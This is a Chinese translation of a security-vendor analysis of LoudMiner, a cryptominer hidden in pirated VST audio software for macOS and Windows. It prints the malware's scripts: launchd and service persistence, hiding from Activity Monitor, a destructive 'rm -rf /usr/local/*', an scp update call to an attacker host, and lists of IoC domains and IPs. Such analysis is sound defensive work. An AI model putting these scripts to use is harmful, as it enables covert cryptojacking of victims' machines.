LoudMiner:伪装在VST软件中的跨平台挖矿软件

Change Web安全 2019年6月26日发布
Favorite收藏

导语:在形形色色的加密货币挖矿程序中,LoudMiner显得有些不同寻常。

介绍

在形形色色的加密货币挖矿程序中,LoudMiner显得有些不同寻常。LoudMiner于2018年8月被发现,主要针对macOS和Windows系统。它能通过一些虚拟软件,如macOS上的QEMU和Windows上的VirtualBox,在Tiny Core Linux虚拟机上进行加密货币挖掘活动——这种方式使之在面对不同操作系统时具有很强的适应性。LoudMiner常与盗版的VST(虚拟工作室技术)软件捆绑在一起,让下载的用户不知不觉中招。LoudMiner基于XMRig (一款门罗币挖矿程序),并用到了矿池,这让我们无法追溯潜在的交易过程。

分布

在撰写本文时,我们在一个WordPress站点上发现了137个VST相关应用程序(42个用于Windows,95个用于macOS),该站点的域名于2018年8月24日注册。第一个应用程序——用于Windows的Kontakt Native Instruments 5.7——也是在注册当天上传的。考虑到应用的数量,对它们逐个分析会有些不切实际,不过我们可以先把它们都视作恶意木马看待。

挖矿程序本身则不在此站点上,而是托管在另外29个外部服务器中,服务器可见文末的IoC列表。由于LoudMiner背后的操作人员时常对其做更新,我们很难跟踪到它的第一个版本。

LoudMiner之所以选择与音频制作软件绑定,我们猜测可能有以下几点原因,一是安装这些VST软件的机器往往具有良好的处理能力;二是音频处理的高CPU消耗可能会掩盖挖矿的踪迹,让用户难以察觉;此外,这些VST软件通常很复杂,可以借用它们大文件的外壳掩人耳目,伪装VM映像的存在。攻击者选择使用虚拟机而不是更精简的方案,这一决定虽不常见实则却非常有效。

以下是攻击者捆绑的一些VST软件样本,以及网站上诱使用户下载的一些“好评”:

· Propellerhead Reason

· Ableton Live

· Sylenth1

· Nexus

· Reaktor 6

· AutoTune

1.png

2.png

图1、图2:该站点管理员对用户的回复

用户反馈

我们观察到,也有一些用户在该站点反馈进程说qemu-system-x86_64在他们的Mac上占用了100%的CPU:

3.png

图3.用户报告#1(https://discussions.apple.com/thread/250064603)

4.png

图4.用户报告#2(https://toster.ru/q/608325)

名为“Macloni”的用户表示:

我将不得不重新安装OSX。问题可能是出在了Ableton Live 10身上,我没有从官方网站下载,结果在安装软件的同时也安上了挖矿程序,完全占据了我的电脑内存。

同时该用户指示出有2个进程——qemu-system-x86_64和tools-service——占用了25%的CPU资源且以root身份运行。

盗版软件分析

攻击者对macOS和Windows应用程序构想的总体思路是一样的:

· 首先,应用程序与虚拟化软件、Linux映像和用于实现持久性的附加文件捆绑在一起。

· 用户下载应用程序后按照说明进行安装。

· 先安装扬声器采集器,再安装实际的VST软件。

· LoudMiner隐藏自身,并在重启时变为持久性。

· 启动Linux虚拟机并开始挖掘工作。

· 虚拟机中的脚本与C&C服务器联系来更新矿机(配置和二进制文件)。

在分析不同的应用程序时,我们已经确定了四个版本的挖矿机,主要是通过它与实际软件、C&C服务器域捆绑在一起的方式,以及作者创建的版本字符串来区分。

3个macOS的版本

到目前为止,我们已经识别出这款恶意软件的三个macOS版本。它们都是将自身复制到/usr/local/bin,也都包含了installerdata.dmg中运行QEMU所需的依赖项,并对运行过程设置了适当的权限。每个挖矿机都可以同时运行两个映像,每个映像占用128 MB的RAM和一个CPU核。持久性则是通过将RunAtLoad设置为true,并在/Library/LaunchDaemons中添加plist文件来实现的;同时还将KeepAlive设置为true,以确保停止后进程重新启动。每个版本都有以下组件:

· QEMU Linux映像。

· 用于启动QEMU映像的Shell脚本。

· 守护进程,用于在启动时启动shell脚本并使其运行。

· 一个带有守护进程的CPU监视器shell脚本,它可以根据CPU使用情况和活动监视器进程是否正在运行来启动/停止挖掘。

CPU监视器脚本可以通过加载守护进程来启动挖掘活动,终止进程来结束挖掘。如果Activity Monitor进程正在运行,则挖掘将停止。此外,它会检查系统空闲了多长时间(以秒为单位):

ioreg -c IOHIDSystem | awk '/HIDIdleTime/ {print $NF/1000000000; exit}'

如果超过2分钟,则开始挖掘;如不到2分钟,则检查总CPU使用率:

ps -A -o %cpu | awk '{s+=$1} END {print s }'

除以CPU核数:

sysctl hw.logicalcpu |awk '{print $2 }')

如果大于85%,就停止挖掘。不同版本的脚本本身略有不同,但总体思路是相同的。

安装完成后,会删除所有挖矿机相关安装文件。

5.png

图5. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg的安装

6.png

图6. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg设置说明

版本1

下载的应用程序包中的挖矿机文件没有经过模糊处理或放在另一个包中; 它们与软件一起安装在下列位置:

1、/Library/Application Support/.Qemusys

· qemu-system-x86_64 – 干净的QEMU二进制文件

· sys00_1-disk001.qcow2 – Linux 映像 (初始)

· qemuservice – 通过qemu-system-x86_64二进制文件启动初始映像的shell脚本(参见脚本1代码段)

2、/Library/Application Support/.System-Monitor

system-monitor.daemon –通过system-monitor二进制文件启动第一个映像

3、/usr/local/bin

.Tools-Service

· sys00_1-disk001.qcow2 – Linux 映像(第二个)

· tools-service.daemon –通过tools-service二进制文件启动第二个映像

· cpumonitor – 根据空闲时间和CPU使用情况启动/停止挖掘

· system-monitor – qemu-system-x86_64二进制文件的副本

· tools-service – qemu-system-x86_64二进制文件的副本

4、/Library/LaunchDaemons

· buildtools.system-monitor.plist – 启动system-monitor.daemon

· buildtools.tools-service.plist – 启动tools-service.daemon

· modulesys.qemuservice.plist – 启动qemuservice

· systools.cpumonitor.plist – 启动cpumonitor

#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
else
/usr/local/bin/qemu-system-x86_64 -M accel=hvf --cpu host /Library/Application\ Support/.Qemusys/sys00_1-disk001.qcow2 -display none
fi
}
start;

脚本1. qemuservice shell脚本

复制依赖项后,将启动所有与矿机相关的守护程序,然后安装实际软件:

1.如果Activity Monitor进程正在运行,qemuservice将不会启动映像,并卸载它所启动的plist。

2.tools-service.daemon仅在qemu-system-x86_64进程未运行且睡眠45分钟后才会启动映像。

3.只有在检测到Intel i5,i7或i9 CPU时,System-monitor.daemon才会启动映像。

这些脚本使用相同的命令来启动QEMU映像,只是名称和映像路径不同。

与版本1挖矿机相关的截图:

7.png

图7.使用Little Snitch的QEMU的CPU消耗(来源:https://imgur.com/a/sc3u6kk)

上图来自Little Snitch,表示来自进程qemu-system-x86_64的某些连接被阻止。具体来说,hopto[.]org (一个免费的主机名服务)是挖矿机版本1使用的C&C。

版本2

挖矿机文件位于下载的应用程序包内的data_installer.pkg中。将先安装data_installer.pkg,其次再安装VST软件,且在安装之前,会将版本1删除并执行以下命令:

rm -rf /usr/local/*

如脚本2中的列表所示,它仅在检测到正在运行的qemu-system-x86_64进程时才会这样做。

#!/bin/bash
#Clear Old
function clear {
LGC=`ps aux |grep "qemu-system-x86_64" |wc -l`
if [ $LGC -ge 2 ]
Then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.tools-service.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.system-monitor.plist
launchctl unload -w /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -f /Library/LaunchDaemons/com.buildtools.system-monitor.plist
rm -f /Library/LaunchDaemons/com.modulesys.qemuservice.plist
rm -f /Library/LaunchDaemons/com.buildtools.tools-service.plist
rm -f /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -rf /Library/Application\ Support/.Qemusys
rm -rf /usr/local/bin/.Tools-Service
rm -rf /Library/Application\ Support/.System-Monitor/
rm -rf /usr/local/*
fi
exit 0
}
clear;

脚本2的 data_installer.pkg预安装脚本,用于删除版本1。

并创建以下临时文件:

/Users/Shared

· z1 – QEMU二进制文件

· z1.daemon – 使用QEMU二进制文件启动QEMU映像

· z1.qcow2  –  QEMU映像

· z1.plist  – 启动z1.daemon

· z3  –  CPU监视器脚本,与版本1 cpumonitor相比变化不大

· z3.plist  – 用于启动z3

· randwd  – 生成随机名称

复制依赖项后将安装矿机。这次使用randwd脚本随机化QEMU二进制文件、plists和目录的名称。挖矿机安装过程会创建z1,z1.daemon,z1.qcow2和z1.plist的两个副本。对于每个副本,会发生下列情况:

· 在/ Library / Application Support中创建具有随机名称的目录

· QEMU二进制文件z1具有与目录相同的名称,并被复制到/ usr / local / bin中

· z1.daemon(参见脚本3中的列表)和z1.qcow2以随机名称复制到此目录中

· z1.plist以名称com.<random_name>.plist复制到/ Library / LaunchDaemons中

#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.AAAA.plist
else
/usr/local/bin/BBBB -M accel=hvf --cpu host /Library/Application\ Support/CCCC/DDDD -display none
fi
}
start;

脚本3. z1.daemon shell脚本

版本2比版本1更清晰简单。只有一个QEMU映像两个副本; 映像启动器脚本,守护进程和cpumonitor是相同的。尽管版本2随机化了文件和

目录,但它只能安装一次,因为安装时会在命令行中使用accel = hvf检查正在运行的进程。

从我们到目前为止检查到的版本2应用程序,data_installer.pkg的SHA1哈希始终是39a7e86368f0e68a86cce975fd9d8c254a86ed93。

版本3

挖矿机文件位于应用程序包内名为do.dmg的加密DMG文件中,安装DMG使用以下命令:

printf '%s\0' 'VeryEasyPass123!' | hdiutil attach -noverify /Users/Shared/instapack/do.dmg -stdinpass.

矿机DMG里有一个datainstallero.pkg包,再安装此软件包。

datainstallero.pkg与版本2的data_installer.pkg包内容大致相同,但datainstallero.pkg添加了两个混淆的脚本——clearpacko.sh和installpacko.sh,还混淆了以前的脚本randwd:

· clearpacko.sh用于删除版本2。

· installpacko.sh以与版本2相同的方式安装矿机,除了从脚本中删除注释之外。

· do.dmg的SHA1保持不变:b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9。

Linux映像

所有的版本都利用多个shell脚本来启动映像文件。shell脚本在引导时由plist执行,并保持活动状态。

版本1执行以下二进制文件(qemu-system-x86_64的副本)以启动QEMU映像:qemu-system-x86_64,system-monitor,tools-service。

版本2和3使用相同的命令,但二进制文件的文件名、Application Support中的目录和QEMU文件名是随机的。

所有版本都使用以下转换:

· -M accel = hvf使用Hypervisor(https://developer.apple.com/documentation/hypervisor)框架作为加速器。 HVF是在OS X 10.10中引入的,并且在2018年4月发布的QEMU 2.12中添加了对HVF的支持。

· -display none,以便虚拟机在没有图形界面的情况下运行。

由于未指定RAM量和CPU内核数量,这种情况下启动映像使用的是默认值:1个CPU内核和128MB RAM。所有版本都可以启动2个映像。

Windows(版本4)

从应用程序中提取的字符串中,我们定义了到目前为止所见的唯一Windows版本,其逻辑与macOS版本非常相似。用户下载的应用程序是破解的应用程序,加上封装为MSI安装程序的挖矿机。图8显示了运行破解的VST安装程序时,弹出的VirtualBox驱动安装信任窗口。

8.png

图8.弹出窗口

VirtualBox安装在它常规的文件夹(C:\Program Files\Oracle)中;但是,目录的属性被设置为“hidden”。之后安装程序将Linux映像和VBoxVmService(用于将VirtualBox虚拟机作为服务运行的Windows服务)复制到C:\ vms,这也是一个隐藏目录。安装完成后,安装程序将运行由BAT2EXE编译的批处理脚本(请参阅脚本4),以导入Linux映像并运行VmServiceControl.exe以将虚拟机作为服务启动。

@echo off
setlocal EnableExtensions EnableDelayedExpansion
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" setproperty machinefolder "%userprofile%\appdata\roaming"
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" import "c:\vms\tmp\sys00_1.ova"
xcopy /Y "C:\Windows\System32\Config\systemprofile\.VirtualBox" "C:\vms\.VirtualBox\"
"C:\vms\VmServiceControl.exe" -i
del /F "c:\vms\tmp\sys00_1.ova"

脚本4.用于将Linux虚拟机作为服务运行的批处理脚本 

此方法用于确保重启后的持久。实际上,VboxVmService附带了一个配置文件(参见脚本5),其中可以启用AutoStart选项,以便在机器启动时自动启动虚拟机。

[Settings]
VBOX_USER_HOME=C:\vms\.VirtualBox
RunWebService=no
PauseShutdown=5000
[Vm0]
VmName=sys00_1
ShutdownMethod=acpipowerbutton
AutoStart=yes

脚本5.VBoxVmService的配置文件,启用了AutoStart

Linux映像中包含的OVF文件描述了虚拟机的硬件配置(请参阅脚本6):它使用1GB的RAM和2个CPU核(最大使用率为90%)。

<Hardware>
<CPU count="2" executionCap="90">
<PAE enabled="true"/>
<LongMode enabled="true"/>
<X2APIC enabled="true"/>
<HardwareVirtExLargePages enabled="true"/>
</CPU>
<Memory RAMSize="1024"/>

脚本6.Linux映像的硬件配置

Linux映像

Linux映像是一个配置为运行XMRig的Tiny Core Linux 9.0,还有一些文件和脚本,以使挖掘程序不断更新。最有趣的文件是:

· /root/.ssh/{id_rsa,id_rsa.pub}  – 用于使用SCP从C&C服务器更新挖矿机的SSH对密钥。

· /opt/{bootsync.sh,bootlocal.sh}  – 从C&C服务器更新挖矿机并运行的系统启动命令(参见脚本7和8):

/usr/bin/sethostname box
/opt/bootlocal.sh 2>&1 > /dev/null &
echo "booting" > /etc/sysconfig/noautologin

脚本7.bootsync.sh

/mnt/sda1/tools/bin/idgenerator 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig

脚本8. bootlocal.sh

· / mnt / sda1 / tools / bin  – 用于更新和运行挖矿机的主要文件和脚本。

· / mnt / sda1 / tools / xmrig  – 包含XMRig的源代码(来自GitHub(https://github.com/xmrig/xmrig))。

矿机的配置存储在/mnt/sda1/tools/bin/config.json中,主要包含用于矿池的域名和端口,具体取决于版本型号(请参阅IoC部分中的示例)。

更新机制由三个不同的脚本通过SCP(安全文件复制)执行,三个脚本分别是:

· xmrig_update  – 更新矿机的配置(config.json);

· ccommand  – 更新ccommand_update,xmrig_update(参见脚本9),updater.sh,xmrig;

· ccommand_update  – 更新ccommand。

从我们看到的情况来看,矿机的配置是每天更新一次的。

#!/bin/sh

ping -w 40 127.0.0.1
cd /mnt/sda1/tools/bin/ && scp -P 5100 -C -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null [email protected]:ctrl/cowboinvox`date +%Y%m%d` config.json.new && mv config.json config.json.bkp && mv config.json.new config.json

脚本9. xmrig_update

为了识别特定的挖掘会话,idgenerator脚本会创建一个包含机器的IP地址和日期的文件,并用update .sh脚本将其输出发送到C&C服务器。

保护方案

显然,要防范此类威胁,最好就是不要下载商业软件的盗版副本。除此之外,也有一些提示可以帮助您确定应用程序中是否包含了附加的代码:

· 一些不沾边的“附加”安装程序(在本例中为Oracle网络适配器)的信任弹出窗口。

· 没有安装的进程(本例中为QEMU或VirtualBox)却占用了大量的CPU。

· 有新服务添加到启动服务列表(Windows)或新的启动守护程序(macOS)中去。

· 一些奇怪域名的网络连接(例如system-update [.] info或system-check [.] services)。

IoC

hash

· macOS应用程序(版本1-3)

t1.jpg

· Windows应用程序(版本4)

t2.jpg

· Linux映像

t3.jpg

文件名

· macOS

/Library/Application Support/.Qemusys

/Library/Application Support/.System-Monitor

/usr/local/bin/{.Tools-Service, cpumonitor, system-monitor, tools-service}

/Library/LaunchDaemons/{com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist}

· Windows

C:\vms

主机名

vstcrack[.]com (137[.]74.151.144)

用于下载的主机(端口80,HTTP)

185[.]112.156.163

185[.]112.156.29

185[.]112.156.70

185[.]112.157.102

185[.]112.157.103

185[.]112.157.105

185[.]112.157.12

185[.]112.157.181

185[.]112.157.213

185[.]112.157.24

185[.]112.157.38

185[.]112.157.49

185[.]112.157.53

185[.]112.157.65

185[.]112.157.72

185[.]112.157.79

185[.]112.157.85

185[.]112.157.99

185[.]112.158.112

185[.]112.158.133

185[.]112.158.186

185[.]112.158.190

185[.]112.158.20

185[.]112.158.3

185[.]112.158.96

d-d[.]host (185[.]112.158.44)

d-d[.]live (185[.]112.156.227)

d-d[.]space (185[.]112.157.79)

m-m[.]icu (185[.]112.157.118)

用于更新的主机(通过SCP)

aly001[.]hopto.org (192[.]210.200.87, port 22)

system-update[.]is (145[.]249.104.109, port 5100)

用于挖掘的主机

system-update[.]info (185[.]193.126.114, port 443 or 8080)

system-check[.]services (82[.]221.139.161, port 8080)

本文翻译自:https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/如若转载,请注明原文地址: https://www.4hou.com/web/18736.html
点赞 8
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论